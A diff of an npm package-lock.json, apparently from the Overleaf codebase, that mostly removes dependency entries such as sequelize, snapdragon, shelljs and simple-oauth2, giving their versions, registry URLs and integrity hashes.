+- "integrity": "sha512-CybGs60B7oYU/qSQ6kuaFmRd9sTZ6oXSc0toqePvV74Ac6/IFZSI1ReFQmtCN+uvW1Mtqdwpvt/LGOiCBAY2Mg==",
+- "dependencies": {
+- "any-promise": "^1.3.0"
+- }
+- },
+ "node_modules/retry-request": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-4.2.2.tgz",
+@@ -26343,14 +21696,6 @@
+ "integrity": "sha512-gH8eh2nZudPQO6TytOvbxnuhYBOvDBBLW52tz5q6X58lJcd/tkmqFR+5Z9adS8aJtURSXWThWy/xJtJwixErvg==",
+ "optional": true
+ },
+- "node_modules/safe-regex": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
+- "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=",
+- "dependencies": {
+- "ret": "~0.1.10"
+- }
+- },
+ "node_modules/safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+@@ -26717,281 +22062,6 @@
+ "node": ">=4"
+ }
+ },
+- "node_modules/sequelize": {
+- "version": "5.22.5",
+- "resolved": "https://registry.npmjs.org/sequelize/-/sequelize-5.22.5.tgz",
+- "integrity": "sha512-ySIHof18sJbeVG4zjEvsDL490cd9S14/IhkCrZR/g0C/FPlZq1AzEJVeSAo++9/sgJH2eERltAIGqYQNgVqX/A==",
+- "dependencies": {
+- "bluebird": "^3.5.0",
+- "cls-bluebird": "^2.1.0",
+- "debug": "^4.1.1",
+- "dottie": "^2.0.0",
+- "inflection": "1.12.0",
+- "lodash": "^4.17.15",
+- "moment": "^2.24.0",
+- "moment-timezone": "^0.5.21",
+- "retry-as-promised": "^3.2.0",
+- "semver": "^6.3.0",
+- "sequelize-pool": "^2.3.0",
+- "toposort-class": "^1.0.1",
+- "uuid": "^8.3.2",
+- "validator": "^13.7.0",
+- "wkx": "^0.4.8"
+- },
+- "engines": {
+- "node": ">=6.0.0"
+- }
+- },
+- "node_modules/sequelize-cli": {
+- "version": "5.5.1",
+- "resolved": "https://registry.npmjs.org/sequelize-cli/-/sequelize-cli-5.5.1.tgz",
+- "integrity": "sha512-ZM4kUZvY3y14y+Rq3cYxGH7YDJz11jWHcN2p2x7rhAIemouu4CEXr5ebw30lzTBtyXV4j2kTO+nUjZOqzG7k+Q==",
+- "dev": true,
+- "dependencies": {
+- "bluebird": "^3.5.3",
+- "cli-color": "^1.4.0",
+- "fs-extra": "^7.0.1",
+- "js-beautify": "^1.8.8",
+- "lodash": "^4.17.5",
+- "resolve": "^1.5.0",
+- "umzug": "^2.1.0",
+- "yargs": "^13.1.0"
+- },
+- "bin": {
+- "sequelize": "lib/sequelize",
+- "sequelize-cli": "lib/sequelize"
+- },
+- "engines": {
+- "node": ">=6.0.0"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/ansi-regex": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+- "dev": true,
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/camelcase": {
+- "version": "5.3.1",
+- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+- "dev": true,
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/cliui": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+- "dev": true,
+- "dependencies": {
+- "string-width": "^3.1.0",
+- "strip-ansi": "^5.2.0",
+- "wrap-ansi": "^5.1.0"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/emoji-regex": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
+- "dev": true
+- },
+- "node_modules/sequelize-cli/node_modules/find-up": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+- "dev": true,
+- "dependencies": {
+- "locate-path": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/fs-extra": {
+- "version": "7.0.1",
+- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz",
+- "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==",
+- "dev": true,
+- "dependencies": {
+- "graceful-fs": "^4.1.2",
+- "jsonfile": "^4.0.0",
+- "universalify": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=6 <7 || >=8"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/is-fullwidth-code-point": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
+- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
+- "dev": true,
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/jsonfile": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+- "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
+- "dev": true,
+- "optionalDependencies": {
+- "graceful-fs": "^4.1.6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/locate-path": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+- "dev": true,
+- "dependencies": {
+- "p-locate": "^3.0.0",
+- "path-exists": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dev": true,
+- "dependencies": {
+- "p-try": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/p-locate": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+- "dev": true,
+- "dependencies": {
+- "p-limit": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/path-exists": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+- "dev": true,
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/string-width": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+- "dev": true,
+- "dependencies": {
+- "emoji-regex": "^7.0.1",
+- "is-fullwidth-code-point": "^2.0.0",
+- "strip-ansi": "^5.1.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/strip-ansi": {
+- "version": "5.2.0",
+- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+- "dev": true,
+- "dependencies": {
+- "ansi-regex": "^4.1.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/universalify": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
+- "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==",
+- "dev": true,
+- "engines": {
+- "node": ">= 4.0.0"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/wrap-ansi": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+- "dev": true,
+- "dependencies": {
+- "ansi-styles": "^3.2.0",
+- "string-width": "^3.0.0",
+- "strip-ansi": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/y18n": {
+- "version": "4.0.3",
+- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
+- "dev": true
+- },
+- "node_modules/sequelize-cli/node_modules/yargs": {
+- "version": "13.3.2",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
+- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
+- "dev": true,
+- "dependencies": {
+- "cliui": "^5.0.0",
+- "find-up": "^3.0.0",
+- "get-caller-file": "^2.0.1",
+- "require-directory": "^2.1.1",
+- "require-main-filename": "^2.0.0",
+- "set-blocking": "^2.0.0",
+- "string-width": "^3.0.0",
+- "which-module": "^2.0.0",
+- "y18n": "^4.0.0",
+- "yargs-parser": "^13.1.2"
+- }
+- },
+- "node_modules/sequelize-cli/node_modules/yargs-parser": {
+- "version": "13.1.2",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
+- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
+- "dev": true,
+- "dependencies": {
+- "camelcase": "^5.0.0",
+- "decamelize": "^1.2.0"
+- }
+- },
+- "node_modules/sequelize-pool": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/sequelize-pool/-/sequelize-pool-2.3.0.tgz",
+- "integrity": "sha512-Ibz08vnXvkZ8LJTiUOxRcj1Ckdn7qafNZ2t59jYHMX1VIebTAOYefWdRYFt6z6+hy52WGthAHAoLc9hvk3onqA==",
+- "engines": {
+- "node": ">= 6.0.0"
+- }
+- },
+- "node_modules/sequelize/node_modules/uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+- "bin": {
+- "uuid": "dist/bin/uuid"
+- }
+- },
+ "node_modules/serialize-javascript": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz",
+@@ -27202,20 +22272,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/set-value": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
+- "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
+- "dependencies": {
+- "extend-shallow": "^2.0.1",
+- "is-extendable": "^0.1.1",
+- "is-plain-object": "^2.0.3",
+- "split-string": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/setimmediate": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
+@@ -27259,48 +22315,11 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/shelljs": {
+- "version": "0.8.5",
+- "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.8.5.tgz",
+- "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==",
+- "dependencies": {
+- "glob": "^7.0.0",
+- "interpret": "^1.0.0",
+- "rechoir": "^0.6.2"
+- },
+- "bin": {
+- "shjs": "bin/shjs"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/shelljs/node_modules/interpret": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz",
+- "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==",
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/shimmer": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz",
+ "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw=="
+ },
+- "node_modules/shortid": {
+- "version": "2.2.14",
+- "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.14.tgz",
+- "integrity": "sha512-4UnZgr9gDdA1kaKj/38IiudfC3KHKhDc1zi/HSxd9FQDR0VLwH3/y79tZJLsVYPsJgIjeHjqIWaWVRJUj9qZOQ==",
+- "dependencies": {
+- "nanoid": "^2.0.0"
+- }
+- },
+- "node_modules/shortid/node_modules/nanoid": {
+- "version": "2.1.11",
+- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz",
+- "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA=="
+- },
+ "node_modules/side-channel": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
+@@ -27319,12 +22338,6 @@
+ "resolved": "https://registry.npmjs.org/sift/-/sift-13.5.2.tgz",
+ "integrity": "sha512-+gxdEOMA2J+AI+fVsCqeNn7Tgx3M9ZN9jdi95939l1IJ8cZsqS8sqpJyOkic2SJk+1+98Uwryt/gL6XDaV+UZA=="
+ },
+- "node_modules/sigmund": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz",
+- "integrity": "sha1-P/IfGYytIXX587eBhT/ZTQ0ZtZA=",
+- "dev": true
+- },
+ "node_modules/signal-exit": {
+ "version": "3.0.6",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.6.tgz",
+@@ -27336,22 +22349,6 @@
+ "integrity": "sha1-Krt1qt453rXMgVzhDmGRFkhQuvA=",
+ "dev": true
+ },
+- "node_modules/simple-oauth2": {
+- "version": "0.6.0",
+- "resolved": "https://registry.npmjs.org/simple-oauth2/-/simple-oauth2-0.6.0.tgz",
+- "integrity": "sha1-lQ/dsHJURrymK9oMauslEUAx8RU=",
+- "deprecated": "simple-oauth2 v0 is no longer supported. Please upgrade to v3 for further support",
+- "dependencies": {
+- "bluebird": "^2.10.1",
+- "date-utils": "^1.2.12",
+- "request": "^2.67.0"
+- }
+- },
+- "node_modules/simple-oauth2/node_modules/bluebird": {
+- "version": "2.11.0",
+- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.11.0.tgz",
+- "integrity": "sha1-U0uQM8AiyVecVro7Plpcqvu2UOE="
+- },
+ "node_modules/simple-update-notifier": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-1.0.7.tgz",
+@@ -27401,15 +22398,6 @@
+ "sinon": ">=4.0.0"
+ }
+ },
+- "node_modules/sinon-stub-promise": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/sinon-stub-promise/-/sinon-stub-promise-4.0.0.tgz",
+- "integrity": "sha1-bUmLoRmFV80B40Zq+S3H33JRksI=",
+- "dev": true,
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/sinon/node_modules/diff": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+@@ -27489,159 +22477,6 @@
+ "resolved": "https://registry.npmjs.org/snakeize/-/snakeize-0.1.0.tgz",
+ "integrity": "sha1-EMCI2LWOsHazIpu1oE4jLOEmQi0="
+ },
+- "node_modules/snapdragon": {
+- "version": "0.8.2",
+- "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
+- "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
+- "dependencies": {
+- "base": "^0.11.1",
+- "debug": "^2.2.0",
+- "define-property": "^0.2.5",
+- "extend-shallow": "^2.0.1",
+- "map-cache": "^0.2.2",
+- "source-map": "^0.5.6",
+- "source-map-resolve": "^0.5.0",
+- "use": "^3.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon-node": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
+- "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
+- "dependencies": {
+- "define-property": "^1.0.0",
+- "isobject": "^3.0.0",
+- "snapdragon-util": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon-node/node_modules/define-property": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+- "dependencies": {
+- "is-descriptor": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon-util": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
+- "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
+- "dependencies": {
+- "kind-of": "^3.2.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon-util/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "dependencies": {
+- "is-descriptor": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/is-accessor-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/is-data-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "dependencies": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/snapdragon/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+ "node_modules/socket.io": {
+ "version": "0.9.19-overleaf-6",
+ "resolved": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb",
+@@ -27831,19 +22666,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/source-map-resolve": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+- "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+- "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated",
+- "dependencies": {
+- "atob": "^2.1.2",
+- "decode-uri-component": "^0.2.0",
+- "resolve-url": "^0.2.1",
+- "source-map-url": "^0.4.0",
+- "urix": "^0.1.0"
+- }
+- },
+ "node_modules/source-map-support": {
+ "version": "0.5.21",
+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+@@ -27861,17 +22683,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/source-map-url": {
+- "version": "0.4.1",
+- "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz",
+- "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==",
+- "deprecated": "See https://github.com/lydell/source-map-url#deprecated"
+- },
+- "node_modules/spark-md5": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
+- "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw=="
+- },
+ "node_modules/sparse-bitfield": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz",
+@@ -27974,52 +22785,11 @@
+ "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz",
+ "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY="
+ },
+- "node_modules/split-string": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
+- "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
+- "dependencies": {
+- "extend-shallow": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/split-string/node_modules/extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "dependencies": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/split-string/node_modules/is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "dependencies": {
+- "is-plain-object": "^2.0.4"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/split2": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/split2/-/split2-4.1.0.tgz",
+- "integrity": "sha512-VBiJxFkxiXRlUIeyMQi8s4hgvKCSjtknJv/LVYbrgALPwf5zSKmEwV9Lst25AkvMDnvxODugjdl6KZgwKM1WYQ==",
+- "engines": {
+- "node": ">= 10.x"
+- }
+- },
+ "node_modules/sprintf-js": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+- "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw="
++ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=",
++ "dev": true
+ },
+ "node_modules/sprintf-kit": {
+ "version": "2.0.1",
+@@ -28119,94 +22889,6 @@
+ "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz",
+ "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="
+ },
+- "node_modules/static-extend": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
+- "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=",
+- "dependencies": {
+- "define-property": "^0.2.5",
+- "object-copy": "^0.1.0"
+- },
+- "engines": {
